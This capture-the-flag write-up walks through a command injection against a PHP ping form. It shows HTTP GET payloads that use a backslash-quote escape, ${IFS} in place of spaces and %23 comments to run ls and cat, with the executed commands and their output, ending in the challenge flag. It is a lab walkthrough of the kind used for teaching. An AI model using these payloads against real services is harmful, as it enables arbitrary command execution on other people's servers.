Ping Me

For this challenge, I used Burp Suite to try to exploit a command injection vulnerability. I attempted this because if you look at the code, you can see that the program takes the input (the I.P.) and tries to sanitize it (by replacing single quotes with "\\'" to escape single quotes and not allowing spaces).

Note: Turning on debug allows us to see the command executed.

Some failed attempts:

1. First, I want to try to construct the I.P. (arrange the single quotes) such that the command of my choice gets executed.

GET /?ip=127.0.0.1%27%3Bls%3B&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';ls;'

GET /?ip=127.0.0.1';ls;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';ls;#' index.php

2. Now I need to find the directory in which flag.txt resides:

GET /?ip=127.0.0.1';cd${IFS}..;ls;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';cd${IFS}..;ls;#' backups log public_html

GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;ls;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';cd${IFS}..;cd${IFS}..;ls;#' example.com html

GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;#' bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

3. Now, I just need to change the input such that flag.txt is read

GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;cat${IFS}flag.txt;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;cat${IFS}flag.txt;#' bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp,usr var flag{f33l_fr33_2_nuk3_th3_b0x_:)}

Correct input:

GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;cat${IFS}flag.txt;%23&debug=1 HTTP/1.1

I edited the following request intercepted in burp suite to get the flag: